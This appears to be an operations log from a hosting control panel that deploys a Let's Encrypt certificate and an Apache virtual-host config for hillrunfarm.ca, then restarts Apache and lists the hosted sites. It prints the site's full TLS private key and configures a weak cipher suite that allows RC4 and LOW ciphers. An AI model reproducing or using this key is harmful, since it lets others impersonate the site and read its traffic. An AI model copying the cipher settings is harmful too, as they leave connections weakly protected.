FfD9zsnYbhr9WjdXCUf/v/6LhQKBgQDOWKOALJXq+zv6bJH2BZEQmlbBgFq9OG1b
iwBQ4xr3WTw5QTBXQ79eXBmb+1yclWB9MH+JLOcwKKta9r/7paulQ3kr2azft3BN
DeN84JdmqcbQN9dQTY0i/3k4bpnu8szoUApLGU4vidT+dCt/sQ1c5TDIVTUWcm6k
B1wk8Ie8DQKBgH7YrOYtNsIx2yEod6fCJ0rKaMDN/agoeVJT6jJ/oyvXp15kOFlM
VGwBbl7JtPpKfoPe2b3B8xSoxIynGZUoXlUGLPNRWkE7eyu0y4RWIfwevw0K9Dga
WHSSHb7OdxP3NvHdErNl26HkdJNJwS2RrpCtSgab7hXNwzT206GJOapBAoGBAMxQ
wDQd8aPmeBESh8RO5sDF0blv2mkaAk5uaDWvafgZB6S5g6AkmMxZ7ZGhZqY00oGj
D+VH7PKmkmVThe0qsbbGBKkCtEYgYLYrVmFEESW6Xf22DSCaaXGJ/QF/ojQTfglZ
l5ecyuoPVDNP2/Jn4Y9l8NOsaxB65krMbtS0xfHRAoGBANjM2AQB5ZMFhlaHgE6U
m0JQ3Ik0eC5qeFP2ZZXCvLwtul1olYcwLkiM4oF9+F3sv8ymrVqsrZ7NtZE/igNQ
rsEClr1LrswI0VNVrHIdghwhAeVULp5L/Leu8t2IX9VdW/g2xaPg6WxxMsJDSBVS
OgWCSJSmkeYRWwMFkfAzYQrm
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-14 06:01:22: 

chmod 755 /tmp/pkp447993; /tmp/pkp447993; rm /tmp/pkp447993

2026-06-14 06:01:22: 


dir=/etc/ssl/certs


2026-06-14 06:01:22: 

PUT: /tmp/pkp295178

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-14 06:01:22: 

chmod 755 /tmp/pkp295178; /tmp/pkp295178; rm /tmp/pkp295178

2026-06-14 06:01:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf 42

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-14 06:01:23: 

PUT: /tmp/pkp759064

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hillrunfarm_www_ca.conf
TARGET=/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf= 1'
fi


2026-06-14 06:01:23: 

chmod 755 /tmp/pkp759064; /tmp/pkp759064; rm /tmp/pkp759064

2026-06-14 06:01:23: 




2026-06-14 06:01:23: 

PUT: /tmp/pkp637212

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-14 06:01:23: 

chmod 755 /tmp/pkp637212; /tmp/pkp637212; rm /tmp/pkp637212

2026-06-14 06:01:23: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:01:23: Establishing a connection
2026-06-14 06:01:23: 

PUT: /tmp/pkp143827

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-14 06:01:23: 

chmod 755 /tmp/pkp143827; /tmp/pkp143827; rm /tmp/pkp143827

2026-06-14 06:01:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:01:23: 

PUT: /tmp/pkp739912

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:01:23: 

chmod 755 /tmp/pkp739912; /tmp/pkp739912; rm /tmp/pkp739912

2026-06-14 06:01:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf	1391

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-14 06:01:23: 

PUT: /tmp/pkp648808

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:01:23: 

chmod 755 /tmp/pkp648808; /tmp/pkp648808; rm /tmp/pkp648808

2026-06-14 06:01:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt	7436
33:cc:84:44:c2:1b:93:6a:73:a9:a5:7f:c1:4d:db:d0

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBbYCCkcRkB8+WAfudNwAElwxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE0MDUwMjUwWhcNMjYwOTEyMDUwMjQ5WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALo2uqrKNCgRsqwN2Cc2YLvYemOFBypMYE5dHcmHwM4xx/RvUKGhdhULF1++ZK2D
0rxtgIGo8GQmhcaZmNJdmQklNceDC7ZWctf+B6v+IdfzIv0lS5LSIdULHUNWXDQk
+LKQysV09tNUaMFdhaGrTwHWtZtqk8mo++3hxOjtxXzlRRIFJG6zRyBiTRf52NC+
pKySC6OkZMuzwQMJiSeCvR0mdUrZSGM/Q26rK0sLFnNgyZ8x5MF4yhfd5k+rLHfM
y3NkQB+91E0u2psdApUAb8pNOwxFlZuTlp8TLnmVlOcNprIbizeJY2w48ivlZaAQ
e0MbwVekAFmSdsfFt/GFwcECAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRytnX2
mmwPiXPWXn+UuQimqjO8rzAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmhpbGxydW5mYXJtLmNhghJ3d3cuaGlsbHJ1bmZh
cm0uY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMi5jLmxlbmNyLm9yZy81MC5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdQCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ7EuGl7AAAE
AwBGMEQCIAiytyBY17Qx3SDF7n+3o+Qh/Nar2dQPUhweKtk1IiM3AiA1wYKZB0wX
UJ6E33xE1UDZIgAeRr8h0TwfUlDfyAfaZAB+ACbjZG5YaSEjvDQ/RyQ1mzeSzSRa
iNgV05Mz/ZkYq0cjAAABnsS4Z8EACAAABQAdbiiTBAMARzBFAiAKPGHc4i5EGyGJ
B7PiNh0rOcfC/Y9o7KIRaAtLpBB+qAIhALnkHcjApVETjEZx6dKdWzC2JMbACW2H
w4veqZwoCx1cMA0GCSqGSIb3DQEBCwUAA4IBAQC1r2/ROXbzdkY4Ioy16JRUs+JT
baxlDZydHVvrJAs3CgpErxYkOXXUP/IcjxMKUPK3X+Ewh8RaLh0XJXa9gr86newk
S2jgvaeUDFGvdpGdKhf3BIIZVll0af7lkub988sktqbw3xYZwHU6KvY4sAOSfNjB
+tFtGUfhZ2dYmTWw1hBqcAIgZ82PuaZsX0QcpowZkVyfr0eWBUpAPLnvhR/ilxE8
1ogELcVAQM9/69Ku2duLfoxod/bK336WKuRGvCtfl5E5cWqkkBwFamugoDt43zuz
eIv3Ns4b3CRPYFA6vbvr1CPWvN7DlHuvk+qozI8pVisr96PJIjNbwZGSULGl
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC6NrqqyjQoEbKs
DdgnNmC72HpjhQcqTGBOXR3Jh8DOMcf0b1ChoXYVCxdfvmStg9K8bYCBqPBkJoXG
mZjSXZkJJTXHgwu2VnLX/ger/iHX8yL9JUuS0iHVCx1DVlw0JPiykMrFdPbTVGjB
XYWhq08B1rWbapPJqPvt4cTo7cV85UUSBSRus0cgYk0X+djQvqSskgujpGTLs8ED
CYkngr0dJnVK2UhjP0NuqytLCxZzYMmfMeTBeMoX3eZPqyx3zMtzZEAfvdRNLtqb
HQKVAG/KTTsMRZWbk5afEy55lZTnDaayG4s3iWNsOPIr5WWgEHtDG8FXpABZknbH
xbfxhcHBAgMBAAECggEAGznRRRNXWNxtkTZc+i67KfvWuSJED+0mz45Rwpt0lzE0
GQsFcPxYdW8vtbHyqmPxtdcUyOBYdWwkdwsSCv/gVjP4jvkcB0bQd8AOgxke/aHw
5a5ERG0wwSNk3emMhZs6OXFuFDyrse5PeqYf2algXdZ0qwqEHSH146v0zFGnZEEp
S4cOnTEgyOSCpA8hb7E/i1UrRu9YDWbJKOlxFAFZyHxebZs4e+3Q5CpKrtVCCT2b
sFLyl9YCQh63L2LM1s1L91jC2oOD02i9NhRqgmSXUHZni822x4B+7ruZ8HyD2I6P
0iabdKRBf0R+9PExfctms0aWqtkyZtBUrkvcac5woQKBgQDnBeOI5MXxfcLlRqLj
1yD9DXT7RGZgHWDUub5AuXd81TkvUjtml7eM9g6SU7DNzEVPUdNa6w/BXWefVCnc
uiJbjNHabLBWqgizvBiJvnrWOu3B679eAxPMZapLNq3ycTkXtHNPvaGT3RnHwcSF
FfD9zsnYbhr9WjdXCUf/v/6LhQKBgQDOWKOALJXq+zv6bJH2BZEQmlbBgFq9OG1b
